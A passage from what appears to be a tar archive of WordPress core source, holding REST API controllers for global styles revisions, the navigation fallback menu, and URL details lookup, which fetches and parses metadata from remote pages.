		$this->namespace         = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2';
	}

	/**
	 * Registers the controller's routes.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added route to fetch individual global styles revisions.
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base,
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->parent_base . '/(?P<parent>[\d]+)/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'parent' => array(
						'description' => __( 'The ID for the parent of the global styles revision.' ),
						'type'        => 'integer',
					),
					'id'     => array(
						'description' => __( 'Unique identifier for the global styles revision.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context' => $this->get_context_param( array( 'default' => 'view' ) ),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Returns decoded JSON from post content string,
	 * or a 404 if not found.
	 *
	 * @since 6.3.0
	 *
	 * @param string $raw_json Encoded JSON from global styles custom post content.
	 * @return Array|WP_Error
	 */
	protected function get_decoded_global_styles_json( $raw_json ) {
		$decoded_json = json_decode( $raw_json, true );

		if ( is_array( $decoded_json ) && isset( $decoded_json['isGlobalStylesUserThemeJSON'] ) && true === $decoded_json['isGlobalStylesUserThemeJSON'] ) {
			return $decoded_json;
		}

		return new WP_Error(
			'rest_global_styles_not_found',
			__( 'Cannot find user global styles revisions.' ),
			array( 'status' => 404 )
		);
	}

	/**
	 * Returns paginated revisions of the given global styles config custom post type.
	 *
	 * The bulk of the body is taken from WP_REST_Revisions_Controller->get_items,
	 * but global styles does not require as many parameters.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request The request instance.
	 * @return WP_REST_Response|WP_Error
	 */
	public function get_items( $request ) {
		$parent = $this->get_parent( $request['parent'] );

		if ( is_wp_error( $parent ) ) {
			return $parent;
		}

		$global_styles_config = $this->get_decoded_global_styles_json( $parent->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$is_head_request = $request->is_method( 'HEAD' );

		if ( wp_revisions_enabled( $parent ) ) {
			$registered = $this->get_collection_params();
			$query_args = array(
				'post_parent'    => $parent->ID,
				'post_type'      => 'revision',
				'post_status'    => 'inherit',
				'posts_per_page' => -1,
				'orderby'        => 'date ID',
				'order'          => 'DESC',
			);

			$parameter_mappings = array(
				'offset'   => 'offset',
				'page'     => 'paged',
				'per_page' => 'posts_per_page',
			);

			foreach ( $parameter_mappings as $api_param => $wp_param ) {
				if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
					$query_args[ $wp_param ] = $request[ $api_param ];
				}
			}

			if ( $is_head_request ) {
				// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
				$query_args['fields'] = 'ids';
				// Disable priming post meta for HEAD requests to improve performance.
				$query_args['update_post_term_cache'] = false;
				$query_args['update_post_meta_cache'] = false;
			}

			$revisions_query = new WP_Query();
			$revisions       = $revisions_query->query( $query_args );
			$offset          = isset( $query_args['offset'] ) ? (int) $query_args['offset'] : 0;
			$page            = isset( $query_args['paged'] ) ? (int) $query_args['paged'] : 0;
			$total_revisions = $revisions_query->found_posts;

			if ( $total_revisions < 1 ) {
				// Out-of-bounds, run the query without pagination/offset to get the total count.
				unset( $query_args['paged'], $query_args['offset'] );

				$count_query                          = new WP_Query();
				$query_args['fields']                 = 'ids';
				$query_args['posts_per_page']         = 1;
				$query_args['update_post_meta_cache'] = false;
				$query_args['update_post_term_cache'] = false;

				$count_query->query( $query_args );

				$total_revisions = $count_query->found_posts;
			}

			if ( $revisions_query->query_vars['posts_per_page'] > 0 ) {
				$max_pages = (int) ceil( $total_revisions / (int) $revisions_query->query_vars['posts_per_page'] );
			} else {
				$max_pages = $total_revisions > 0 ? 1 : 0;
			}
			if ( $total_revisions > 0 ) {
				if ( $offset >= $total_revisions ) {
					return new WP_Error(
						'rest_revision_invalid_offset_number',
						__( 'The offset number requested is larger than or equal to the number of available revisions.' ),
						array( 'status' => 400 )
					);
				} elseif ( ! $offset && $page > $max_pages ) {
					return new WP_Error(
						'rest_revision_invalid_page_number',
						__( 'The page number requested is larger than the number of pages available.' ),
						array( 'status' => 400 )
					);
				}
			}
		} else {
			$revisions       = array();
			$total_revisions = 0;
			$max_pages       = 0;
			$page            = (int) $request['page'];
		}

		if ( ! $is_head_request ) {
			$response = array();

			foreach ( $revisions as $revision ) {
				$data       = $this->prepare_item_for_response( $revision, $request );
				$response[] = $this->prepare_response_for_collection( $data );
			}

			$response = rest_ensure_response( $response );
		} else {
			$response = new WP_REST_Response( array() );
		}

		$response->header( 'X-WP-Total', (int) $total_revisions );
		$response->header( 'X-WP-TotalPages', (int) $max_pages );

		$request_params = $request->get_query_params();
		$base_path      = rest_url( sprintf( '%s/%s/%d/%s', $this->namespace, $this->parent_base, $request['parent'], $this->rest_base ) );
		$base           = add_query_arg( urlencode_deep( $request_params ), $base_path );

		if ( $page > 1 ) {
			$prev_page = $page - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}
		if ( $max_pages > $page ) {
			$next_page = $page + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Prepares the revision for the REST response.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Added resolved URI links to the response.
	 *
	 * @param WP_Post         $post    Post revision object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object.
	 */
	public function prepare_item_for_response( $post, $request ) {
		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			return new WP_REST_Response( array() );
		}

		$parent               = $this->get_parent( $request['parent'] );
		$global_styles_config = $this->get_decoded_global_styles_json( $post->post_content );

		if ( is_wp_error( $global_styles_config ) ) {
			return $global_styles_config;
		}

		$fields     = $this->get_fields_for_response( $request );
		$data       = array();
		$theme_json = null;

		if ( ! empty( $global_styles_config['styles'] ) || ! empty( $global_styles_config['settings'] ) ) {
			$theme_json           = new WP_Theme_JSON( $global_styles_config, 'custom' );
			$global_styles_config = $theme_json->get_raw_data();
			if ( rest_is_field_included( 'settings', $fields ) ) {
				$data['settings'] = ! empty( $global_styles_config['settings'] ) ? $global_styles_config['settings'] : new stdClass();
			}
			if ( rest_is_field_included( 'styles', $fields ) ) {
				$data['styles'] = ! empty( $global_styles_config['styles'] ) ? $global_styles_config['styles'] : new stdClass();
			}
		}

		if ( rest_is_field_included( 'author', $fields ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( rest_is_field_included( 'date', $fields ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( rest_is_field_included( 'date_gmt', $fields ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $post->ID;
		}

		if ( rest_is_field_included( 'modified', $fields ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( rest_is_field_included( 'modified_gmt', $fields ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( rest_is_field_included( 'parent', $fields ) ) {
			$data['parent'] = (int) $parent->ID;
		}

		$context             = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data                = $this->add_additional_fields_to_object( $data, $request );
		$data                = $this->filter_response_by_context( $data, $context );
		$response            = rest_ensure_response( $data );
		$resolved_theme_uris = WP_Theme_JSON_Resolver::get_resolved_theme_uris( $theme_json );

		if ( ! empty( $resolved_theme_uris ) ) {
			$response->add_links(
				array(
					'https://api.w.org/theme-file' => $resolved_theme_uris,
				)
			);
		}

		return $response;
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 * @since 6.6.0 Merged parent and parent controller schema data.
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema               = parent::get_item_schema();
		$parent_schema        = $this->parent_controller->get_item_schema();
		$schema['properties'] = array_merge( $schema['properties'], $parent_schema['properties'] );

		unset(
			$schema['properties']['guid'],
			$schema['properties']['slug'],
			$schema['properties']['meta'],
			$schema['properties']['content'],
			$schema['properties']['title']
		);

			$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 * Removes params that are not supported by global styles revisions.
	 *
	 * @since 6.6.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();
		unset(
			$query_params['exclude'],
			$query_params['include'],
			$query_params['search'],
			$query_params['order'],
			$query_params['orderby']
		);
		return $query_params;
	}
}
endpoints/class-wp-rest-navigation-fallback-controller.php000066600000012063152442706000020045 0ustar00<?php
/**
 * WP_REST_Navigation_Fallback_Controller class
 *
 * REST Controller to create/fetch a fallback Navigation Menu.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one.
 *
 * @since 6.3.0
 */
class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller {

	/**
	 * The Post Type for the Controller
	 *
	 * @since 6.3.0
	 *
	 * @var string
	 */
	private $post_type;

	/**
	 * Constructs the controller.
	 *
	 * @since 6.3.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'navigation-fallback';
		$this->post_type = 'wp_navigation';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 6.3.0
	 */
	public function register_routes() {

		// Lists a single nav item based on the given id or slug.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read fallbacks.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		// Getting fallbacks requires creating and reading `wp_navigation` posts.
		if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets the most appropriate fallback Navigation Menu.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = WP_Navigation_Fallback::get_fallback();

		if ( empty( $post ) ) {
			return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) );
		}

		$response = $this->prepare_item_for_response( $post, $request );

		return $response;
	}

	/**
	 * Retrieves the fallbacks' schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'navigation-fallback',
			'type'       => 'object',
			'properties' => array(
				'id' => array(
					'description' => __( 'The unique identifier for the Navigation Menu.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Matches the post data to the schema we want.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post         $item    The wp_navigation Post object whose response is being prepared.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response $response The response data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$data = array();

		$fields = $this->get_fields_for_response( $request );

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $item->ID;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Prepares the links for the request.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post $post the Navigation Menu post object.
	 * @return array Links for the given request.
	 */
	private function prepare_links( $post ) {
		return array(
			'self' => array(
				'href'       => rest_url( rest_get_route_for_post( $post->ID ) ),
				'embeddable' => true,
			),
		);
	}
}
endpoints/class-wp-rest-url-details-controller.php000066600000050111152442706000016372 0ustar00<?php
/**
 * REST API: WP_REST_URL_Details_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Controller which provides REST endpoint for retrieving information
 * from a remote site's HTML response.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_URL_Details_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.9.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'url-details';
	}

	/**
	 * Registers the necessary REST API routes.
	 *
	 * @since 5.9.0
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'parse_url_details' ),
					'args'                => array(
						'url' => array(
							'required'          => true,
							'description'       => __( 'The URL to process.' ),
							'validate_callback' => 'wp_http_validate_url',
							'sanitize_callback' => 'sanitize_url',
							'type'              => 'string',
							'format'            => 'uri',
						),
					),
					'permission_callback' => array( $this, 'permissions_check' ),
					'schema'              => array( $this, 'get_public_item_schema' ),
				),
			)
		);
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 5.9.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'url-details',
			'type'       => 'object',
			'properties' => array(
				'title'       => array(
					'description' => sprintf(
						/* translators: %s: HTML title tag. */
						__( 'The contents of the %s element from the URL.' ),
						'<title>'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'icon'        => array(
					'description' => sprintf(
						/* translators: %s: HTML link tag. */
						__( 'The favicon image link of the %s element from the URL.' ),
						'<link rel="icon">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'description' => array(
					'description' => sprintf(
						/* translators: %s: HTML meta tag. */
						__( 'The content of the %s element from the URL.' ),
						'<meta name="description">'
					),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
				'image'       => array(
					'description' => sprintf(
						/* translators: 1: HTML meta tag, 2: HTML meta tag. */
						__( 'The Open Graph image link of the %1$s or %2$s element from the URL.' ),
						'<meta property="og:image">',
						'<meta property="og:image:url">'
					),
					'type'        => 'string',
					'format'      => 'uri',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the contents of the title tag from the HTML response.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error The parsed details as a response object. WP_Error if there are errors.
	 */
	public function parse_url_details( $request ) {
		$url = untrailingslashit( $request['url'] );

		if ( empty( $url ) ) {
			return new WP_Error( 'rest_invalid_url', __( 'Invalid URL' ), array( 'status' => 404 ) );
		}

		// Transient per URL.
		$cache_key = $this->build_cache_key_for_url( $url );

		// Attempt to retrieve cached response.
		$cached_response = $this->get_cache( $cache_key );

		if ( ! empty( $cached_response ) ) {
			$remote_url_response = $cached_response;
		} else {
			$remote_url_response = $this->get_remote_url( $url );

			// Exit if we don't have a valid body or it's empty.
			if ( is_wp_error( $remote_url_response ) || empty( $remote_url_response ) ) {
				return $remote_url_response;
			}

			// Cache the valid response.
			$this->set_cache( $cache_key, $remote_url_response );
		}

		$html_head     = $this->get_document_head( $remote_url_response );
		$meta_elements = $this->get_meta_with_content_elements( $html_head );

		$data = $this->add_additional_fields_to_object(
			array(
				'title'       => $this->get_title( $html_head ),
				'icon'        => $this->get_icon( $html_head, $url ),
				'description' => $this->get_description( $meta_elements ),
				'image'       => $this->get_image( $meta_elements, $url ),
			),
			$request
		);

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		/**
		 * Filters the URL data for the response.
		 *
		 * @since 5.9.0
		 *
		 * @param WP_REST_Response $response            The response object.
		 * @param string           $url                 The requested URL.
		 * @param WP_REST_Request  $request             Request object.
		 * @param string           $remote_url_response HTTP response body from the remote URL.
		 */
		return apply_filters( 'rest_prepare_url_details', $response, $url, $request, $remote_url_response );
	}

	/**
	 * Checks whether a given request has permission to read remote URLs.
	 *
	 * @since 5.9.0
	 *
	 * @return true|WP_Error True if the request has permission, else WP_Error.
	 */
	public function permissions_check() {
		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view_url_details',
			__( 'Sorry, you are not allowed to process remote URLs.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Retrieves the document title from a remote URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The website URL whose HTML to access.
	 * @return string|WP_Error The HTTP response from the remote URL on success.
	 *                         WP_Error if no response or no content.
	 */
	private function get_remote_url( $url ) {

		/*
		 * Provide a modified UA string to workaround web properties which block WordPress "Pingbacks".
		 * Why? The UA string used for pingback requests contains `WordPress/` which is very similar
		 * to that used as the default UA string by the WP HTTP API. Therefore requests from this
		 * REST endpoint are being unintentionally blocked as they are misidentified as pingback requests.
		 * By slightly modifying the UA string, but still retaining the "WordPress" identification (via "WP")
		 * we are able to work around this issue.
		 * Example UA string: `WP-URLDetails/5.9-alpha-51389 (+http://localhost:8888)`.
		*/
		$modified_user_agent = 'WP-URLDetails/' . get_bloginfo( 'version' ) . ' (+' . get_bloginfo( 'url' ) . ')';

		$args = array(
			'limit_response_size' => 150 * KB_IN_BYTES,
			'user-agent'          => $modified_user_agent,
		);

		/**
		 * Filters the HTTP request args for URL data retrieval.
		 *
		 * Can be used to adjust response size limit and other WP_Http::request() args.
		 *
		 * @since 5.9.0
		 *
		 * @param array  $args Arguments used for the HTTP request.
		 * @param string $url  The attempted URL.
		 */
		$args = apply_filters( 'rest_url_details_http_request_args', $args, $url );

		$response = wp_safe_remote_get( $url, $args );

		if ( WP_Http::OK !== wp_remote_retrieve_response_code( $response ) ) {
			// Not saving the error response to cache since the error might be temporary.
			return new WP_Error(
				'no_response',
				__( 'URL not found. Response returned a non-200 status code for this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		$remote_body = wp_remote_retrieve_body( $response );

		if ( empty( $remote_body ) ) {
			return new WP_Error(
				'no_content',
				__( 'Unable to retrieve body from response at this URL.' ),
				array( 'status' => WP_Http::NOT_FOUND )
			);
		}

		return $remote_body;
	}

	/**
	 * Parses the title tag contents from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @return string The title tag contents on success. Empty string if not found.
	 */
	private function get_title( $html ) {
		$pattern = '#<title[^>]*>(.*?)<\s*/\s*title>#is';
		preg_match( $pattern, $html, $match_title );

		if ( empty( $match_title[1] ) || ! is_string( $match_title[1] ) ) {
			return '';
		}

		$title = trim( $match_title[1] );

		return $this->prepare_metadata_for_output( $title );
	}

	/**
	 * Parses the site icon from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The HTML from the remote website at URL.
	 * @param string $url  The target website URL.
	 * @return string The icon URI on success. Empty string if not found.
	 */
	private function get_icon( $html, $url ) {
		// Grab the icon's link element.
		$pattern = '#<link\s[^>]*rel=(?:[\"\']??)\s*(?:icon|shortcut icon|icon shortcut)\s*(?:[\"\']??)[^>]*\/?>#isU';
		preg_match( $pattern, $html, $element );
		if ( empty( $element[0] ) || ! is_string( $element[0] ) ) {
			return '';
		}
		$element = trim( $element[0] );

		// Get the icon's href value.
		$pattern = '#href=([\"\']??)([^\" >]*?)\\1[^>]*#isU';
		preg_match( $pattern, $element, $icon );
		if ( empty( $icon[2] ) || ! is_string( $icon[2] ) ) {
			return '';
		}
		$icon = trim( $icon[2] );

		// If the icon is a data URL, return it.
		$parsed_icon = parse_url( $icon );
		if ( isset( $parsed_icon['scheme'] ) && 'data' === $parsed_icon['scheme'] ) {
			return $icon;
		}

		// Attempt to convert relative URLs to absolute.
		if ( ! is_string( $url ) || '' === $url ) {
			return $icon;
		}
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$icon     = WP_Http::make_absolute_url( $icon, $root_url );
		}

		return $icon;
	}

	/**
	 * Parses the meta description from the provided HTML.
	 *
	 * @since 5.9.0
	 *
	 * @param array $meta_elements {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @return string The meta description contents on success. Empty string if not found.
	 */
	private function get_description( $meta_elements ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$description = $this->get_metadata_from_meta_element(
			$meta_elements,
			'name',
			'(?:description|og:description)'
		);

		// Bail out if description not found.
		if ( '' === $description ) {
			return '';
		}

		return $this->prepare_metadata_for_output( $description );
	}

	/**
	 * Parses the Open Graph (OG) Image from the provided HTML.
	 *
	 * See: https://ogp.me/.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $url The target website URL.
	 * @return string The OG image on success. Empty string if not found.
	 */
	private function get_image( $meta_elements, $url ) {
		$image = $this->get_metadata_from_meta_element(
			$meta_elements,
			'property',
			'(?:og:image|og:image:url)'
		);

		// Bail out if image not found.
		if ( '' === $image ) {
			return '';
		}

		// Attempt to convert relative URLs to absolute.
		$parsed_url = parse_url( $url );
		if ( isset( $parsed_url['scheme'] ) && isset( $parsed_url['host'] ) ) {
			$root_url = $parsed_url['scheme'] . '://' . $parsed_url['host'] . '/';
			$image    = WP_Http::make_absolute_url( $image, $root_url );
		}

		return $image;
	}

	/**
	 * Prepares the metadata by:
	 *    - stripping all HTML tags and tag entities.
	 *    - converting non-tag entities into characters.
	 *
	 * @since 5.9.0
	 *
	 * @param string $metadata The metadata content to prepare.
	 * @return string The prepared metadata.
	 */
	private function prepare_metadata_for_output( $metadata ) {
		$metadata = html_entity_decode( $metadata, ENT_QUOTES, get_bloginfo( 'charset' ) );
		$metadata = wp_strip_all_tags( $metadata );
		return $metadata;
	}

	/**
	 * Utility function to build cache key for a given URL.
	 *
	 * @since 5.9.0
	 *
	 * @param string $url The URL for which to build a cache key.
	 * @return string The cache key.
	 */
	private function build_cache_key_for_url( $url ) {
		return 'g_url_details_response_' . md5( $url );
	}

	/**
	 * Utility function to retrieve a value from the cache at a given key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key The cache key.
	 * @return mixed The value from the cache.
	 */
	private function get_cache( $key ) {
		return get_site_transient( $key );
	}

	/**
	 * Utility function to cache a given data set at a given cache key.
	 *
	 * @since 5.9.0
	 *
	 * @param string $key  The cache key under which to store the value.
	 * @param string $data The data to be stored at the given cache key.
	 * @return bool True when transient set. False if not set.
	 */
	private function set_cache( $key, $data = '' ) {
		$ttl = HOUR_IN_SECONDS;

		/**
		 * Filters the cache expiration.
		 *
		 * Can be used to adjust the time until expiration in seconds for the cache
		 * of the data retrieved for the given URL.
		 *
		 * @since 5.9.0
		 *
		 * @param int $ttl The time until cache expiration in seconds.
		 */
		$cache_expiration = apply_filters( 'rest_url_details_cache_expiration', $ttl );

		return set_site_transient( $key, $data, $cache_expiration );
	}

	/**
	 * Retrieves the head element section.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to parse.
	 * @return string The `<head>..</head>` section on success. Given `$html` if not found.
	 */
	private function get_document_head( $html ) {
		$head_html = $html;

		// Find the opening `<head>` tag.
		$head_start = strpos( $html, '<head' );
		if ( false === $head_start ) {
			// Didn't find it. Return the original HTML.
			return $html;
		}

		// Find the closing `</head>` tag.
		$head_end = strpos( $head_html, '</head>' );
		if ( false === $head_end ) {
			// Didn't find it. Find the opening `<body>` tag.
			$head_end = strpos( $head_html, '<body' );

			// Didn't find it. Return the original HTML.
			if ( false === $head_end ) {
				return $html;
			}
		}

		// Extract the HTML from opening tag to the closing tag. Then add the closing tag.
		$head_html  = substr( $head_html, $head_start, $head_end );
		$head_html .= '</head>';

		return $head_html;
	}

	/**
	 * Gets all the meta tag elements that have a 'content' attribute.
	 *
	 * @since 5.9.0
	 *
	 * @param string $html The string of HTML to be parsed.
	 * @return array {
	 *     A multidimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 */
	private function get_meta_with_content_elements( $html ) {
		/*
		 * Parse all meta elements with a content attribute.
		 *
		 * Why first search for the content attribute rather than directly searching for name=description element?
		 * tl;dr The content attribute's value will be truncated when it contains a > symbol.
		 *
		 * The content attribute's value (i.e. the description to get) can have HTML in it and be well-formed as
		 * it's a string to the browser. Imagine what happens when attempting to match for the name=description
		 * first. Hmm, if a > or /> symbol is in the content attribute's value, then it terminates the match
		 * as the element's closing symbol. But wait, it's in the content attribute and is not the end of the
		 * element. This is a limitation of using regex. It can't determine "wait a minute this is inside of quotation".
		 * If this happens, what gets matched is not the entire element or all of the content.
		 *
		 * Why not search for the name=description and then content="(.*)"?
		 * The attribute order could be opposite. Plus, additional attributes may exist including being between
		 * the name and content attributes.
		 *
		 * Why not lookahead?
		 * Lookahead is not constrained to stay within the element. The first <meta it finds may not include
		 * the name or content, but rather could be from a different element downstream.
		 */
		$pattern = '#<meta\s' .

				/*
				 * Allows for additional attributes before the content attribute.
				 * Searches for anything other than > symbol.
				 */
				'[^>]*' .

				/*
				* Find the content attribute. When found, capture its value (.*).
				*
				* Allows for (a) single or double quotes and (b) whitespace in the value.
				*
				* Why capture the opening quotation mark, i.e. (["\']), and then backreference,
				* i.e \1, for the closing quotation mark?
				* To ensure the closing quotation mark matches the opening one. Why? Attribute values
				* can contain quotation marks, such as an apostrophe in the content.
				*/
				'content=(["\']??)(.*)\1' .

				/*
				* Allows for additional attributes after the content attribute.
				* Searches for anything other than > symbol.
				*/
				'[^>]*' .

				/*
				* \/?> searches for the closing > symbol, which can be in either /> or > format.
				* # ends the pattern.
				*/
				'\/?>#' .

				/*
				* These are the options:
				* - i : case-insensitive
				* - s : allows newline characters for the . match (needed for multiline elements)
				* - U means non-greedy matching
				*/
				'isU';

		preg_match_all( $pattern, $html, $elements );

		return $elements;
	}

	/**
	 * Gets the metadata from a target meta element.
	 *
	 * @since 5.9.0
	 *
	 * @param array  $meta_elements {
	 *     A multi-dimensional indexed array on success, else empty array.
	 *
	 *     @type string[] $0 Meta elements with a content attribute.
	 *     @type string[] $1 Content attribute's opening quotation mark.
	 *     @type string[] $2 Content attribute's value for each meta element.
	 * }
	 * @param string $attr       Attribute that identifies the element with the target metadata.
	 * @param string $attr_value The attribute's value that identifies the element with the target metadata.
	 * @return string The metadata on success. Empty string if not found.
	 */
	private function get_metadata_from_meta_element( $meta_elements, $attr, $attr_value ) {
		// Bail out if there are no meta elements.
		if ( empty( $meta_elements[0] ) ) {
			return '';
		}

		$metadata = '';
		$pattern  = '#' .
				/*
